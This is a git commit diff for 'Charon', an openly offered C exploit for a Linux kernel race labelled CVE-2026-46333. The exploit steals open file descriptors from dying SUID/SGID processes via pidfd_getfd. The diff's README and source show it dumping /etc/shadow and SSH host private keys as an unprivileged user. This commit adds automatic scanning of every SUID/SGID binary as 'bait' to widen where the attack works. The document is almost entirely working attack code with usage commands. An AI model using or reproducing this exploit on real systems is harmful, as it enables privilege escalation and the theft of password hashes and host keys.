v1.1.0 — auto-discovery + --list-baits + ANSI Shadow banner

* New --auto flag: walk /usr/bin, /usr/sbin, /usr/local/{bin,sbin},
  /usr/lib/openssh, /usr/libexec, /bin, /sbin; try every SUID/SGID
  regular file as a bait against the requested target. Skips
  known-interactive baits (su, sudo, newgrp, pkexec, mount, …).
  Per-bait budget capped (5 rounds × 2000 inner) + 60s wall clock,
  so a full scan finishes in ~10s even on systems where no bait
  opens the requested file.

* New --list-baits flag: enumerate built-in + discoverable bait
  candidates without firing the exploit. Useful for distro surveys.

* SIGKILL daemonic baits (ssh-agent etc.) instead of waiting
  forever in waitpid().

* Accept SGID-shadow baits, not just SUID-root — chage on
  Debian/Ubuntu is mode 2755 not 4755 and we kept skipping it.

* Banner upgraded to ANSI Shadow block letters with a Styx wave
  motif beneath the version line.

* Cleaner diagnostics: distinguish "primitive fires but no bait
  opens this file" from "kernel patched (no pidfd_getfd success)".

Tested on Debian 13 / kernel 6.12.88-kctf-poc:
- default run hits /etc/shadow in 1 fork (~160 tries, <1s)
- --auto on /etc/sudoers correctly times out in 11s with diagnostic
- --quiet pipes 35 lines of pure shadow to stdout
- --verbose shows per-hit + final stats
- --list-baits enumerates 26 candidates incl. /usr/bin/chage
This commit is contained in:
2026-05-15 23:33:59 -04:00
parent a0d7d0b75b
commit 95b37066df
3 changed files with 309 additions and 101 deletions
+16 -1
View File
@@ -101,10 +101,25 @@ Output: a single ELF `./charon`.
./charon -q # no banner / progress, just shadow on stdout
./charon -v # show per-hit + final stats
./charon -r 5000 # more patience for slow systems
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure)
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign bait)
./charon -a # auto-discover SUID/SGID baits if built-ins miss
./charon -L # list candidate baits without trying any
./charon --help
```
### Auto-discovery
`--auto` walks `/usr/bin`, `/usr/sbin`, `/usr/local/{bin,sbin}`,
`/usr/lib/openssh`, `/usr/libexec`, `/bin`, `/sbin`, finds every
SUID/SGID regular file (excluding interactive baits like `su`,
`sudo`, `newgrp`, `pkexec`), and tries each as a bait against the
requested target. Per-bait budget is tight (5 rounds × 2000 inner)
so a full scan finishes in ~10 seconds even when nothing matches.
`--list-baits` is the read-only version — it enumerates the same
candidates without firing the exploit. Useful for surveying which
distros ship which baits.
### Exit codes
| Code | Meaning |
BIN
View File
Binary file not shown.
+293 -100
View File
@@ -1,17 +1,17 @@
/*
* ____ _ _ _ ____ ___ _ _
* / ___|| | | | / \ | _ \ / _ \| \ | |
* | | | |_| | / _ \ | |_) | | | | \| |
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
*
* ferries file descriptors across the exit-mm() Styx
* CVE-2026-46333 / Linux <= 6.12.89
* ██████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗
* ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗████╗ ██║
* ██║ ███████║███████║██████╔╝██║ ██║██╔██╗ ██║
* ██║ ██╔══██║██╔══██║██╔══██╗██║ ██║██║╚██╗██║
* ╚██████╗██║ ██║██║ ██║██║ ██║╚██████╔╝██║ ╚████║
* ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
* ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~
* CVE-2026-46333 / Linux <= 6.12.89
*
* "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31
* — Hebrews 10:31
*
* Charon races pidfd_getfd(2) against a dying SUID-root process to
* Charon races pidfd_getfd(2) against a dying SUID/SGID process to
* lift its open /etc/shadow file descriptor through the transient
* mm-NULL window in do_exit():
*
@@ -21,16 +21,17 @@
* └── exit_files() ← fd table reaped
*
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
* never dumpable" and short-circuits the dumpable check. The dying
* userspace SUID process is briefly indistinguishable from a kernel
* thread in that test, so pidfd_getfd(2) succeeds against it and
* returns whatever fds it still has open before exit_files() runs.
* never dumpable" and short-circuits the dumpable check. A dying
* userspace SUID/SGID process is briefly indistinguishable from a
* kernel thread in that test, so pidfd_getfd(2) succeeds against it
* and returns whatever fds it still has open before exit_files() runs.
*
* If the SUID binary opened /etc/shadow and then setreuid'd to the
* If the bait binary opened /etc/shadow and then setreuid'd to the
* attacker uid before exiting, Charon walks home with the fd.
*
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
* Disclosure: Qualys → oss-security 2026-05-15
*
* Educational and authorized-defensive use only.
*/
#define _GNU_SOURCE
@@ -41,10 +42,12 @@
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <dirent.h>
#include <signal.h>
#include <time.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <time.h>
#include <getopt.h>
#ifndef __NR_pidfd_open
@@ -54,55 +57,114 @@
#define __NR_pidfd_getfd 438
#endif
#define CHARON_VERSION "1.0.0"
#define CHARON_VERSION "1.1.0"
static const char BANNER[] =
"\n"
" ____ _ _ _ ____ ___ _ _\n"
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
"\n"
" ferries fds across the exit-mm() Styx\n"
" CVE-2026-46333 / Linux <= 6.12.89\n"
" \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 "
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91"
"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d"
"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n"
" \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d"
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d "
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d "
"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n"
" ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n"
" CVE-2026-46333 / Linux <= 6.12.89\n"
"\n";
/* A lure is a SUID-root binary that opens FILE before dropping uid
* and exiting. invoking ARGV makes it open FILE deterministically. */
struct lure {
/* A bait is a SUID/SGID binary that opens FILE before dropping creds
* and exiting. ARGV makes it open FILE deterministically. */
struct bait {
const char *path;
const char *file;
const char *const argv[5];
const char *args[6]; /* argv terminated by NULL */
};
static const struct lure lures[] = {
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
* via SUID-root on RHEL family. Either way we ride the elevation. */
static const struct bait builtin_baits[] = {
/* chage -l <user> opens /etc/shadow on Debian/Ubuntu (SGID-shadow)
* and on RHEL family (SUID-root). Either way the dumpable=0 flag
* is set on the dying process — the bug bypasses the check. */
{ "/usr/bin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } },
{ "/usr/sbin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } },
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
* is enabled; newer builds bail early but still open the file first. */
/* ssh-keysign opens the host private keys when invoked even with
* no args (it bails after the open if HostbasedAuthentication is
* off, but we only need it to OPEN the file). */
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
{ "ssh-keysign", NULL } },
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
{ "ssh-keysign", NULL } },
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_rsa_key",
{ "ssh-keysign", NULL } },
{ "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
{ "ssh-keysign", NULL } },
{ NULL, NULL, { NULL } }
};
/* Auto-discovery search roots and the SUID/SGID names we refuse to
* invoke (would prompt for input, hang waiting, or mutate state). */
static const char *const auto_search_roots[] = {
"/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin",
"/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh",
"/bin", "/sbin", NULL
};
static const char *const auto_skip_names[] = {
"su", "sudo", "doas", "pkexec", "newgrp",
"mount", "umount", "fusermount", "fusermount3",
"ping", "ping6", "traceroute", "traceroute6",
NULL
};
/* Argv patterns we try against each auto-discovered binary. */
static const char *const auto_arg_patterns[][4] = {
{ "-l", "root", NULL }, /* chage / passwd -l root */
{ "-S", "root", NULL }, /* passwd -S root */
{ "--version", NULL }, /* most tools, fast + safe */
{ NULL }, /* no args (some tools open files on startup) */
};
/* CLI state */
static const char *opt_target = NULL;
static int opt_quiet = 0;
static int opt_verbose = 0;
static int opt_rounds = 500;
static int opt_inner = 30000;
static int opt_auto = 0;
static int opt_list = 0;
/* Stats spanning all hunt() invocations. */
static unsigned long stat_forks = 0;
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
static unsigned long stat_target_hits = 0; /* matched want_file */
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >= 0 */
static unsigned long stat_target_hits = 0; /* fd's readlink matched want_file */
static void
msg(const char *prefix, const char *fmt, ...)
@@ -123,37 +185,32 @@ dump_fd(int fd)
char buf[8192];
ssize_t n;
lseek(fd, 0, SEEK_SET);
while ((n = read(fd, buf, sizeof(buf))) > 0) {
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
return -1;
}
while ((n = read(fd, buf, sizeof(buf))) > 0)
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1;
fflush(stdout);
return n < 0 ? -1 : 0;
}
static int
lure_present(const struct lure *l)
bait_present(const char *path)
{
struct stat st;
if (stat(l->path, &st) != 0) return 0;
/* Accept SUID-anything OR SGID-anything — both trigger the
* dumpable flag in execve which is exactly the protection that
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
* shadow (not SUID root); on RHEL family chage is SUID root. */
if (stat(path, &st) != 0) return 0;
if (!S_ISREG(st.st_mode)) return 0;
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
return 1;
}
/* Returns 0 on success (file contents on stdout). Negative codes:
* -ENOENT lure binary missing / no setuid|setgid
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
/* Returns:
* 0 success — file contents on stdout
* -ENOENT bait not present / lacks setuid|setgid
* -ETIME primitive fired but target file wasn't in the fd table
* -EPERM pidfd_getfd never succeeded — kernel likely patched
*/
static int
hunt(const struct lure *l, const char *want_file)
hunt(const char *path, const char *want_file, const char *const argv[])
{
if (!lure_present(l)) return -ENOENT;
msg("[*]", "lure %s target %s", l->path, want_file);
if (!bait_present(path)) return -ENOENT;
unsigned long getfd_ok_before = stat_getfd_ok;
@@ -164,7 +221,7 @@ hunt(const struct lure *l, const char *want_file)
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
execv(l->path, (char *const *)l->argv);
execv(path, (char *const *)argv);
_exit(127);
}
@@ -174,23 +231,20 @@ hunt(const struct lure *l, const char *want_file)
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int got = -1;
for (int a = 0; a < opt_inner && got < 0; a++) {
for (int i = 3; i < 32; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
stat_getfds++;
if (s < 0) continue;
stat_getfd_ok++; /* the bug worked at least at the syscall level */
stat_getfd_ok++;
char p[512] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, want_file)) {
if (opt_verbose)
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
msg("[+]", "hit fd %d -> %s round=%d try=%d",
i, p, round, a);
got = s;
break;
}
@@ -203,21 +257,131 @@ hunt(const struct lure *l, const char *want_file)
int rc = dump_fd(got);
close(got);
close(pfd);
kill(c, SIGKILL);
waitpid(c, NULL, 0);
if (opt_verbose)
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
msg("[#]",
"stats: %lu forks, %lu getfds (%lu ok), %lu target hits",
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
return rc;
}
close(pfd);
/* Some baits (ssh-agent, daemons) won't exit on their own —
* force them so waitpid doesn't block this whole hunt. */
kill(c, SIGKILL);
waitpid(c, NULL, 0);
}
/* If pidfd_getfd never succeeded against this lure, the primitive
* is closed for this binary — likely a patched kernel. */
if (stat_getfd_ok == getfd_ok_before)
return -EPERM;
if (stat_getfd_ok == getfd_ok_before) return -EPERM;
return -ETIME;
}
/* Walk standard SUID/SGID roots and try each binary as a bait.
* Uses an aggressive per-bait round budget (auto_rounds) so a full
* sweep finishes in seconds even when nothing matches. */
static int
auto_discover(const char *want_file, int just_list)
{
int discovered = 0, attempted = 0, primitive_worked = 0;
/* Save user-set values; restore on exit. */
int saved_rounds = opt_rounds;
int saved_inner = opt_inner;
if (!just_list) {
/* Per-bait budget for auto mode: keep tight so the sweep is fast.
* Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */
if (opt_rounds > 5) opt_rounds = 5;
if (opt_inner > 2000) opt_inner = 2000;
}
time_t auto_deadline = time(NULL) + (just_list ? 0 : 60); /* 60s budget */
for (const char *const *root = auto_search_roots; *root; root++) {
DIR *d = opendir(*root);
if (!d) continue;
struct dirent *e;
while ((e = readdir(d)) != NULL) {
if (e->d_name[0] == '.') continue;
char path[512];
int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name);
if (n < 0 || n >= (int)sizeof(path)) continue;
struct stat st;
if (lstat(path, &st) != 0) continue;
if (!S_ISREG(st.st_mode)) continue;
if (!(st.st_mode & (S_ISUID | S_ISGID))) continue;
int skip = 0;
for (const char *const *s = auto_skip_names; *s; s++)
if (!strcmp(e->d_name, *s)) { skip = 1; break; }
if (skip) continue;
discovered++;
if (just_list) {
printf(" %s (mode %04o, %s)\n",
path, st.st_mode & 07777,
(st.st_mode & S_ISUID) ? "SUID" : "SGID");
continue;
}
for (size_t ai = 0;
ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0];
ai++) {
const char *argv[6] = { e->d_name };
int k = 1;
for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++)
argv[k++] = auto_arg_patterns[ai][x];
argv[k] = NULL;
if (opt_verbose) {
char arghint[64] = "";
for (int x = 1; argv[x] && x < 5; x++) {
strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1);
strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1);
}
msg("[auto]", "trying %s%s", path, arghint);
}
attempted++;
int rc = hunt(path, want_file, argv);
if (rc == 0) {
msg("[+]", "auto-discovered working bait: %s", path);
closedir(d);
opt_rounds = saved_rounds;
opt_inner = saved_inner;
return 0;
}
if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1;
if (time(NULL) > auto_deadline) {
msg("[!]", "60s auto-scan budget exhausted (%d baits tried)",
attempted);
closedir(d);
goto auto_done;
}
}
}
closedir(d);
}
auto_done:;
/* Restore user budgets. */
opt_rounds = saved_rounds;
opt_inner = saved_inner;
if (just_list) {
fprintf(stderr,
"\n discovered %d SUID/SGID binaries in standard roots\n"
" (use --auto to try each as a bait for %s)\n",
discovered, want_file ? want_file : "/etc/shadow");
return 0;
}
if (opt_verbose)
msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits",
attempted, stat_getfd_ok, stat_target_hits);
if (!primitive_worked && stat_getfd_ok == 0) return -EPERM;
return -ETIME;
}
@@ -229,9 +393,11 @@ usage(const char *prog)
"\n"
"Usage: %s [options]\n"
"\n"
" -t, --target FILE file to read (default: /etc/shadow)\n"
" -r, --rounds N max rounds per lure (default: 500)\n"
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
" -t, --target FILE file to read (default: /etc/shadow)\n"
" -r, --rounds N max rounds per bait (default: 500)\n"
" -i, --inner N inner getfd attempts (default: 30000)\n"
" -a, --auto if built-in baits fail, scan SUID/SGID dirs\n"
" -L, --list-baits enumerate candidate baits and exit\n"
" -q, --quiet no banner, no progress\n"
" -v, --verbose per-hit + final stats\n"
" --version print version and exit\n"
@@ -239,7 +405,7 @@ usage(const char *prog)
"\n"
"Exit codes:\n"
" 0 success — file contents on stdout\n"
" 1 no built-in lure on this system opens the requested file\n"
" 1 no bait on this system opens the requested file\n"
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
" 4 CLI / IO error\n"
@@ -252,24 +418,28 @@ int
main(int argc, char **argv)
{
static const struct option opts[] = {
{"target", required_argument, 0, 't'},
{"rounds", required_argument, 0, 'r'},
{"inner", required_argument, 0, 'i'},
{"quiet", no_argument, 0, 'q'},
{"verbose", no_argument, 0, 'v'},
{"version", no_argument, 0, 1 },
{"help", no_argument, 0, 'h'},
{"target", required_argument, 0, 't'},
{"rounds", required_argument, 0, 'r'},
{"inner", required_argument, 0, 'i'},
{"auto", no_argument, 0, 'a'},
{"list-baits", no_argument, 0, 'L'},
{"quiet", no_argument, 0, 'q'},
{"verbose", no_argument, 0, 'v'},
{"version", no_argument, 0, 1 },
{"help", no_argument, 0, 'h'},
{0,0,0,0}
};
int o;
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) {
switch (o) {
case 't': opt_target = optarg; break;
case 't': opt_target = optarg; break;
case 'r': opt_rounds = atoi(optarg); break;
case 'i': opt_inner = atoi(optarg); break;
case 'q': opt_quiet = 1; break;
case 'v': opt_verbose = 1; break;
case 'a': opt_auto = 1; break;
case 'L': opt_list = 1; break;
case 'q': opt_quiet = 1; break;
case 'v': opt_verbose = 1; break;
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
case 'h': usage(argv[0]); return 0;
default : usage(argv[0]); return 4;
@@ -278,34 +448,57 @@ main(int argc, char **argv)
if (!opt_target) opt_target = "/etc/shadow";
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
if (!opt_quiet) fputs(BANNER, stderr);
if (!opt_quiet && !opt_list) fputs(BANNER, stderr);
/* Iterate lures whose `file` matches what the user asked for. */
int any_present = 0, all_appear_patched = 1;
for (const struct lure *l = lures; l->path; l++) {
if (strcmp(l->file, opt_target) != 0) continue;
if (!lure_present(l)) continue;
any_present = 1;
int rc = hunt(l, opt_target);
if (rc == 0) return 0;
if (rc != -EPERM) all_appear_patched = 0;
if (opt_list) {
fprintf(stderr, " built-in baits for %s:\n", opt_target);
int builtin_count = 0;
for (const struct bait *b = builtin_baits; b->path; b++) {
if (strcmp(b->file, opt_target) != 0) continue;
const char *status = bait_present(b->path) ? "OK" : "MISSING";
fprintf(stderr, " [%s] %s\n", status, b->path);
builtin_count++;
}
if (!builtin_count) fprintf(stderr, " (none — try --auto)\n");
fprintf(stderr, "\n discovered SUID/SGID candidates in standard roots:\n");
return auto_discover(opt_target, /*just_list=*/1);
}
if (!any_present) {
msg("[!]", "no built-in lure on this system opens %s", opt_target);
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
/* Phase 1: try built-in baits whose file matches the request. */
int any_present = 0, all_patched = 1;
for (const struct bait *b = builtin_baits; b->path; b++) {
if (strcmp(b->file, opt_target) != 0) continue;
if (!bait_present(b->path)) continue;
any_present = 1;
msg("[*]", "bait %s target %s", b->path, opt_target);
int rc = hunt(b->path, opt_target, b->args);
if (rc == 0) return 0;
if (rc != -EPERM) all_patched = 0;
}
/* Phase 2: auto-discover if asked, OR if no built-in bait matched. */
if (opt_auto || !any_present) {
if (opt_auto)
msg("[*]", "built-in baits exhausted, auto-discovering...");
else
msg("[*]", "no built-in bait opens %s, trying --auto", opt_target);
int rc = auto_discover(opt_target, /*just_list=*/0);
if (rc == 0) return 0;
if (rc != -EPERM) all_patched = 0;
}
if (!any_present && !opt_auto) {
msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target);
return 1;
}
if (all_appear_patched && stat_getfd_ok == 0) {
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
if (all_patched && stat_getfd_ok == 0) {
msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded",
stat_getfds, stat_forks);
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
return 2;
}
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
stat_getfd_ok, opt_target);
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
msg("[!]", "try -r 5000, -t <other file>, or --auto");
return 3;
}